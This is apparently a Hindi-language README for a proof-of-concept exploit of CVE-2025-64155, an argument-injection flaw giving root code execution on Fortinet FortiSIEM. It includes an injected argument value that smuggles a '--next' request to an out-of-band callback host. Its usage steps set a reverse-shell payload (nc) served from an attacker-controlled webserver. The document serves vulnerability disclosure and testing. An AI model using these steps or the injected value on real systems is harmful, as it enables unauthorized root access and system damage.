CVE-2025-64155: Fortinet FortiSIEM में आर्गुमेंट इंजेक्शन से रिमोट कोड निष्पादन

Fortinet FortiSIEM के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट जो एक आर्गुमेंट इंजेक्शन का दुरुपयोग करके रूट के रूप में कोड निष्पादन प्राप्त करने के लिए फ़ाइल लिखता है

ब्लॉग पोस्ट

गहन विश्लेषण यहां: Horizon3.ai - CVE-2025-64155: तीन साल तक Fortinet FortiSIEM को दूरस्थ रूप से रूट करना

नोट

इस समस्या का शोषण करके एप्लिकेशन फ़ाइलों को अधिलेखित करने से संभवतः सिस्टम अस्थिरता होगी। सावधानीपूर्वक उपयोग करें। जाँचों को <cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url> पर cluster_url सेट करके हानिरहित रूप से चलाया जा सकता है

उपयोग

1. वेबसर्वर serve.py में पेलोड को वांछित पेलोड (जैसे nc रिवर्स शेल) में संपादित करें
2. CVE-2025-64155.py में cluster_url को serve.py चलाने वाले सर्वर के आधार URL पर इंगित करने के लिए संपादित करें (जैसे http://10.0.40.83:9200)
3. वेबसर्वर serve.py चलाएँ